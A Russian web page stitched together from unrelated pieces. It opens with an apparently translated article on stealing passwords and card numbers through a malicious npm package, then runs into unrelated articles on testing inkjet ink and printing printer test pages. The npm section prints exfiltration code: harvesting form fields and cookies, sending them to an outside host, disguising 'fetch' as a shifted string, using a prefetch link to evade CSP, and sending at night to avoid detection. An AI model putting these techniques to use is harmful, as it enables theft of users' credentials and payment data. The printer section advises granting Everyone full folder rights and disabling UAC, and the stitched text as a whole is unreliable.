Кража паролей лишит вас доступа к своей странице или может оставить без кругленькой суммы – вот оно, счастье злоумышленника.
Рассмотрим один интересный способ, как кража паролей может быть успешно реализована.
Заполучить пароль или номер кредитной карты можно многими способами. Далее речь пойдет о том, как это делается при помощи внедрения кода в npm-пакет.
Вредоносный код, который и выполняет всю грязную работу, занимается поиском на странице браузера чего-либо из представленного ниже:
- любая форма для ввода;
- элемент со свойством, в названии которого встречается «password», «cardnumber», «cvc», «checkout» и т. д.
Если после события submit искомая информация найдена, на этой страничке есть чем поживиться.
- Из каждого поля формы извлекаем информацию: (document.forms.forEach(…) );
- собираем «печеньки»: document.cookie;
- все это дело оборачивается всегда в рандомную строку: const payload = btoa(JSON.stringify(sensitiveUserData)) ;
- а после, отправляется на промежуточный хост: https://legit-analytics.com?q=${payload} ;
- и в случае наличия полезностей – отправляется на сервер хакера.
Перевернем мир
Чтобы это счастье вышло в свет, нужно как-то заставить код попасть на потенциальные сайты-доноры. Можно пытаться пробиться через расширения браузеров, но это не так эффективно. Межсайтовый скриптинг – хороший вариант, но у него (у XSS) есть свои протоколы безопасности, и снова не те масштабы. Гораздо лучше подойдет npm.
Можно изобрести пакет, который будет на лету менять цвет консольного вывода в браузере.
Заставляем принять этот “полезный” апдейт в свои зависимости, при помощи пулл-реквеста для нескольких (любых) существующих пакетов в сети, и ждать.
Через месяц имеем 120000 скачиваний этого обновления и выполнение кода на более чем 1000 сайтов. Конечно же, это не панацея, и велика вероятность, что эфемерное обновление пакета не примут с распростертыми объятиями, но это безопасно, и есть шанс, что быстро не засекут.
А может, ложку дегтя?
Звучит все гладко и красиво, но есть некоторые вопросы, которые могут появиться у пытливого читателя, и их нужно развенчать.
Сетевые запросы от скрипта – код почти ничего не отправляет, т. е. постоянного обмена трафиком нет. Отсылка собранного материала происходит с 19:00 до 7:00, когда безопасники и прочие тестеры уже ничего не тестируют. Даже если тестировщик и захочет отличиться, код подменяет URL на “левый”, схожий с социальными сетями, и отправка происходит всегда в разное время: вот такой эффект неожиданности.
Поиск “странностей” в npm. Удачи! Временные и ресурсные затраты несопоставимы, ну а если и найдется что-то, то в коде нет и намека на fetch, XMLHttpRequest или адрес хоста, на который все отправляется.
const i = "gfudi"; const k = s => s.split("").map(c => String.fromCharCode(c.charCodeAt() - 1)).join(""); self(urlWithYourPreciousData);
const i = "gfudi" ; const k = s = > s . split ("" ) . map (c = > String . fromCharCode (c . charCodeAt () - 1 ) ) . join ("" ) ; self [ k (i ) ] (urlWithYourPreciousData ) ; |
«gfudi» – это fetch, но с переставленными буквами на одну, а self – это алиас window. Не используется ничего обычного, как fetch. Вместо этого, везде где можно, нужно применять EventSource(urlВашихЛюбимыхДанных). Даже если трафик буду слушать по serviceWorker-у, никто ничего не заподозрит т. к. ничего не отправляется в браузерах, которые поддерживают serviceWorker.
Использование CSP в качестве защиты. С точки зрения CSP наш код ничего запрещенного не делает, кроме отправки данных на какой-то домен. Да, CSP неплохо справляется с XSS-атаками и может ограничивать общение браузера с внешним миром, но действия скрипта не настолько масштабны, чтобы можно было что-то проанализировать.
const linkEl = document.createElement("link"); linkEl.rel = "prefetch"; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);
const linkEl = document . createElement ("link" ) ; linkEl . rel = "prefetch" ; linkEl . href = urlWithYourPreciousData ; document . head . appendChild (linkEl ) ; |
Чтобы не поплатиться за взлом, нужно проверять CSP на наличие функционирующей системы блокировки (connect-src) и инструмент-перехватчик (default-src). Сделать это можно так:
JavaScript
fetch(document.location.href) .then(resp => { const csp = resp.headers.get("Content-Security-Policy"); // Смотрим, как работает CSP });
|
Проверять нужно в первый раз, чтобы пользователь, и прочие надзиратели ничего не заподозрили. Куда теперь бежать?Теперь подумаем от лица пользователя или разработчика: “Все плохо, наши пароли уже в даркнэте!”. Чтобы попытаться избежать провала, нельзя использовать npm на страницах с формами, и прочими собирающими компонентами. Нельзя использовать стороннюю рекламу, Google Tag Manager, скрипты с диаграммами, аналитику – никакого постороннего кода быть не должно, иначе можно получить инъекцию. Это касается только страниц, где пользователь что-то вводит, остальная же часть сайта может спокойно работать на React-е и не беспокоиться.
Вам нужна отдельная страница, которая не имеет ничего лишнего и уже в ней собирать номера кредиток, пароли и учетные данные в iFrame. Кража паролей осуществляется и при помощи фишинга (подделывание настоящего сайта инфицированной копией). Если хакер сможет завладеть вашим почтовым ящиком, то плакали все регистрации и банковские счета, которые были привязаны к этой почте. За 2017 год было взломано 12 млн. учетных записей. Вполне успешным является и кейлогерство – 1 млн. пользователей пострадал, именно из-за этого вредоноса. ЗаключениеСтатья о том, что никому нельзя доверять, и оставлять сайт с известными уязвимостями строго запрещено, т. к. в мире огромное количество желающих полакомиться чем-то ценным. Любой сайт уязвим, и список этих брешей постоянно меняется: не забывайте держать руку на пульсе. Перевод на русский осуществлен Библиотекой Программиста. Вконтакте Одноклассники Когда в струйном принтере заканчиваются чернила, пользователю необходимо заправить картридж или приобрести новую печатающую кассету. Одни пользователи приобретают только оригинальные расходники, другие предпочитают совместимые чернила, но и первые, и вторые заинтересованы в получении качественных отпечатков и продлении срока службы своей печатающей техники. К сожалению, проверить качество чернил в магазине невозможно, поэтому пользователю приходится уповать лишь на добросовестность товаропроизводителей и личный опыт в выборе расходных материалов. А вот дома протестировать качество купленных чернил не сложно. Для этого потребуется принтер, качественная бумага, и, собственно, приобретённые чернила. Суть тестирования струйных чернил в домашних условиях заключается в распечатке особых тестовых страниц или тестовых заданий и их тщательном анализе с целью выявления достоинств и недостатков данных чернил. Тестовую страницу для проверки качества струйных чернил можно найти в Интернет. Элементы тестовой страницы для тестирования качества струйных чернил Если вы планируете использовать чернила для распечатки домашних фотографий, то вам будет достаточно первых двух элементов тестовой страницы, если же вы используете чернила для профессиональной коммерческой фотопечати, то тестовая страница должна содержать все элементы, перечисленные на рисунке выше. Пример тестовой страницы с обозначением её основных элементов представлен ниже.
Условные обозначения: 1, 1а – градиентный переход от белого к чёрному; 2 – портрет человека с естественным оттенком кожи; 3 – фрагменты изображения, содержащие светлые элементы на тёмном фоне и наоборот; 4 – плашки с заливкой разных цветов. Образец тестовой страницы с обозначением её элементов Рассматривая полученную тестовую страницу, следует обратить внимание не на точное совпадение оттенков полученного изображения с оригиналом, а на сбалансированность выбранного комплекта чернил. Главным критерием здесь служит заливка серого цвета, которую струйный принтер генерирует во время печати. Серый цвет должен быть чистым, без постороннего оттенка. Если же такой оттенок присутствует на отпечатке, значит выбранные чернила далеки от идеала. Пример искажений цветопередачи при печати серого цвета представлен на следующем рисунке. Здесь дано сравнение нескольких сканов, полученных при тестировании струйных чернил. В тестировании был использован один и тот же принтер, при печати выставлялись одинаковые настройки, печать производилась на одинаковой бумаге.
Чернила А
Чернила Б
Чернила В Сканы, полученные при тестировании струйных чернил Чернила Б и В при печати образуют посторонние оттенки: на отпечатке Б – голубой, на отпечатке В – сиреневый. Это особенно заметно по серой заливке рисунка, расположенного в правом нижнем углу. Чернила А продемонстрировали точную цветопередачу, что свидетельствует об их качестве и сбалансированности. Посторонний оттенок может появиться как на всём изображении, так и на его отдельных участках. Также о низком качестве чернил могут свидетельствовать излишняя бледность отпечатка, искажение или смешение цветов, недостаточная чёткость изображения и низкая прорисовка мелких деталей. В появлении перечисленных признаков могут быть виновны только чернила для картриджей. Вероятнее всего, изготовитель недостаточно протестировал свои чернила и раньше времени выпустил их на рынок. Обратите внимание на прорисовку мелких деталей на самых тёмных и самых светлых участках изображения. Хорошие чернила для принтера прорисовывают мелкие детали более качественно, чем плохие. В качестве примера рассмотрим два скана фотографий, распечатанных разными чернилами на одном и том же струйном принтере с использованием одинаковой бумаги.
Чернила А
Чернила Б Фотографии, напечатанные с использованием одной и той же фотобумаги, на одном и том же струйном принтере, но разными чернилами Чернила А демонстрируют более реалистичную цветопередачу и лучше прорисовывают мельчайшие детали изображения. Чернила Б недостаточно чётко передают полутона и мелкие детали, их краски не так естественны и глубоки, как на первом отпечатке. Светлые полутона на рисунке Б выглядят кричащими, отсутствует плавный переход между светлыми и тёмными участками изображения. Если вы, получив недостаточно качественные тестовые отпечатки, уже собираетесь бежать в магазин расходных материалов за новыми чернилами, остановитесь! Практика показывает, что можно добиться вполне удовлетворительного качества печати, поэкспериментировав с настройками в системе «принтер – чернила – бумага». Если вы всё сделаете правильно, то сможете повысить реалистичность и красочность своих фотографий и улучшить цветопередачу полутонов и оттенков. Если же вы планируете использовать струйные чернила для профессиональной фотопечати, то вам придётся потратить немного больше времени на поиск равновесия в системе «принтер – чернила – бумага». Возможно, вам придётся напечатать не одну пробную страницу, прежде чем вы получите удовлетворительное изображение. В качестве примера рассмотрим рисунок.
Базовая тестовая страница Базовая тестовая страница имеет бледно-жёлтый оттенок. Лица детей, изображённые в нижней части тестовой страницы, выглядят блёклыми, оттенки недостаточно живые и естественные. Открываем в компьютере окно настроек цветопередачи и находим кривую полутонов. Убавляем в настройках жёлтый цвет, увеличиваем и подстраиваем яркость и чёткость изображения. Распечатываем вторую тестовую страницу с новыми настройками.
Тестовая страница после дополнительной настройки цветопередачи Тестовая страница после настройки цветопередачи выглядит более естественно: исчез молочно-жёлтый оттенок, изображения стали реалистичнее, отчётливее, ярче. Если же настройка цветопередачи не даёт ожидаемых результатов, то, скорее всего, вы используете не подходящую для данных чернил фотобумагу. В этом случае вы не получите удовлетворительного качества печати без искажения цветопередачи даже с использованием оригинальных чернил, не говоря уже о более дешёвых совместимых красках. В заключение следует отметить, что правильный подбор чернил для струйной печати – процесс довольно трудоёмкий и сложный для рядового покупателя. Поэтому, если вы не уверены в своих знаниях и силах в области струйной печати и обслуживания принтеров, лучше обратитесь за советом к профессионалам. Вконтакте Часто пользователям принтеров приходится прибегать к такой процедуре, как печать тестовой страницы. Благодаря ей можно убедиться в правильности базовых настроек устройства для печати. К тому же на тестовой странице отображается вся информация о модели принтера и версии драйверов. Все эти сведения могут оказаться весьма полезными и нужными при устранении различных неполадок. Как распечатать пробную страницу?Но нередко у пользователей оргтехники возникает следующий вопрос: как напечатать пробную страницу? Итак, чтобы выполнить такую процедуру, как пробная печать для начала нужно выбрать из списка сервисов меню «Панель управления». Далее в разделе, где отображается весь список принтеров найдите ту модель устройства, которая вас интересует.
Затем у вас может возникнуть вопрос о том, что делать дальше. Далее вам потребуется внимательным образом оценить тестовую страницу — на ней должны быть образцы всех цветов, а также текст и графика. Если подобная печать была осуществлена с помощью устройства струйной модели, то убедитесь в отсутствии на странице любых потёков краски. Если сделанный тест вас устраивает, то можете кликнуть по команде, подразумевающей сохранение параметров печати по умолчанию. В противном случае займитесь их настройкой с учётом своих потребностей. К примеру, при необходимости вы можете отметить только тест дюз. Благодаря этому вы сможете сразу узнать о том, какие цвета печатают нормально, а какие печатают с различными проблемами. Кроме того, тест дюз необходим для того, чтобы убедиться в том, что красящее вещество попадает в печатающую головку в правильном порядке. Возможные проблемы
Но порой возникает следующая неполадка: пробная страница печати напечатана неправильно. В связи с этим возникает вопрос о том, что делать в этом случае и как всё же распечатать данную страницу? Итак, если пробная страница печати напечатана неправильно, то одна из возможных проблем заключается в старых или «битых» драйверах. Для её решения вам нужно загрузить и установить их обновленную версию. Но что делать, если данное действие не помогло и проблема, связанная с тем, что не печатает принтер по-прежнему осталась актуальной? В таком случае дайте полные права «Everyone» для «C:\Windows\System32\spool\PRINTERS», после чего удалите нужное печатающее устройство на ветке реестра «HKEY_USERS\.DEFAULT\Printers». Кроме того, дайте обычному пользователю права, которыми обладает админ и установите под его именем новенький драйвер. После этого можно обратно изъять у него ранее предоставленные права. Также следует отключить UAC. Если же предпринятые действия не помогут, то следует запустить утилиту Process Explorer и во время печати обратить внимание на то, каких прав не хватает. Стоит также добавить, что ещё есть такая процедура, как стоп тест, которую используют для . Чтобы воспользоваться таким видом теста во время печати страницы необходимо отключить питание, после чего посмотреть на копию, которая ещё полностью не вышла из устройства. Благодаря такой процедуре можно определить причину плохой печати, которая может заключаться в картридже, переносе изображения на бумагу и термоузле. Кроме того, порой отключенный от ПК принтер не печатает даже пробную страницу. Причиной такой проблемы может быть отсутствие или замятие бумаги, а также неправильно установленный картридж. или, подключив устройство к компьютеру и прочитав соответствующую расшифровку в драйвере. В целом практически любую поломку, при эксплуатации принтера можно сделать самостоятельно, но при незнании причины, лучше воспользоваться услугами сервисного центра.
От принтера в домашнем пользовании, если, конечно, он не применяется для воспроизведения фотографий, редко когда требуется что-либо кроме четкости букв и длительности срока эксплуатации. Но если машина используется для печати цветной продукции, требования к ней сразу же возрастают. И здесь становится важным не только количество точек на дюйм или четкость изображения, но и цветность. Проверка печати принтера осуществляется с помощью специальных тестовых страниц. Когда проводится проверкаКачество распечаток важно для любого документа – и монохромного, и цветного. Соответственно, процедура тестирования проводится в нескольких случаях.
При покупке картриджа или заправочного набора в лицензированном магазине вероятность того, что оттенок чернил будет в точности совпадать с аппаратом, намного выше. Однако далеко не у всех пользователей есть физическая или финансовая возможность приобрести специальные чернила. Соответственно, пользователю приходится подбирать все совместимые варианты. Конечно же, после установки нового картриджа необходимо провести тест, чтобы уяснить до какой степени оттенки совпадают с предыдущими.
Тестовые картинки потребуются и для определения состояния печатающей головки. Со временем она загрязняется и печать соответствующего изображения позволяет как определить уровень загрязнения, так и осуществить прочистку дюз. Такая процедура является стандартной и входит в программное обеспечение принтера. Анализ работы аппаратаЧтобы выяснить, насколько качественные чернила приобретены, купленный принтер линейки Epson проводят тесты. Для них понадобится качественная бумага – белая матовая, поскольку любой оттенок листа испортит тест, собственно печатающее устройство и картридж с новыми чернилами.
Тестом выступают красочные картинки с определенными заданными параметрами, которые и позволяют оценить градиентность, соответствие оттенка, возможности воспроизведения и прочие параметры печати. Сами тестовые задания легко найти в интернете и загрузить в память HP-устройства. Картинки для проверки принтера должны включать:
Кроме того, для прочистки дюз или анализа состояния печатающие головки используют тестовую черную страницу. Если оттенок ее не насыщен и не равномерен, следует провести процедуру очистки. В том же Epson для этого в окне выбирают «Проверка дюз» и по результату теста назначают очистку.
Каждый такой элемент служит для проверки одного из параметров воспроизведения. Если аппарат будут использовать только для домашней печати, можно ограничиться и двумя первыми параметрами.
Цветная картинка для проверки принтера анализируется так:
Откорректировать в некоторой степени передачу цвета можно с помощью настроек самого аппарата. Если проверка принтера Epson привела к неудовлетворительным результатам, можно попробовать использовать программные настройки. Для этого в соответствующей вкладке выбирают «Настройка принтера» и корректируют кривую полутонов. Для принтеров: При выключенном принтере нажать кнопку «Лист», не отпуская её, нажать кнопку «вкл.», отпустить её, продолжая удерживать «Лист» 10 сек. Для МФУ без монитора: тот же процесс, только вместо «листа» кнопка «Стоп» (треугольник в кружочке) Для с монитором: во вкладке «Установка» - «Техобслуживание» - «Проверка ДЮЗ» - «старт» - «печать». Печать тестовой страницы без ПКПриобрели новенький принтер? В любом случае вам понадобиться напечатать тестовые страницы для проверки качества печати. Хорошо, если принтер подключен к компьютеру, через который можно запустить этот процесс. А если такой возможности нет? Как вывести на печать тестовую страницу без компьютера? Давайте разбираться. Итак, следующие советы пригодятся для многих современных устройств. Для начала загрузите обычные белые листы бумаги соответствующего формата во входной лоток. Тестовая страница печати для струйных принтеров печатается следующим образом: выключите устройство кнопкой, нажмите кнопку «Лист», не отпуская её, нажмите кнопку «ВКЛ.», отпустите её, продолжайте удерживать «Лист» около 10 сек. Для принтеров Кэнон: удерживайте обе кнопки (в данном случае кнопку Resume и ВКЛ.), до тех пока не загорится индикатор включения. После этого удерживая кнопку ВКЛ, отпустите и два раза нажмите кнопку Resume, отпустите обе кнопки. После этого загорится индикатор готовности, что будет сигнализировать о сервисном режиме. Чтобы распечатать тестовый лист - один раз нажмите Resume, подтвердите действие кнопкой ВКЛ. Печать тестового листа для многофункционала без дисплея: похожий процесс, только вместо кнопки «Лист» - кнопка «Стоп» (треугольник в круге) |
Кликните на иконку принтера правой кнопкой, после чего выберите из появившегося контекстного меню команду «свойства». В открывшемся окне перейдите во вкладку «общие», после чего нажмите на команду, которая подразумевает собой запуск пробной печати. Учтите, что если устройство запускается в первый раз или им не пользовались на протяжении длительного отрезка времени, то распечатывать лист оно будет дольше обычного. Дело в том, что принтеру в данном случае потребуется для начала собрать всю необходимую информацию о системе и на это может уйти около одной минуты. Параметры тестовой страницы в любом принтере, как правило, установлены «по умолчанию». Следовательно, выполняя печать пробной страницы, он тестирует абсолютно весь перечень параметров.
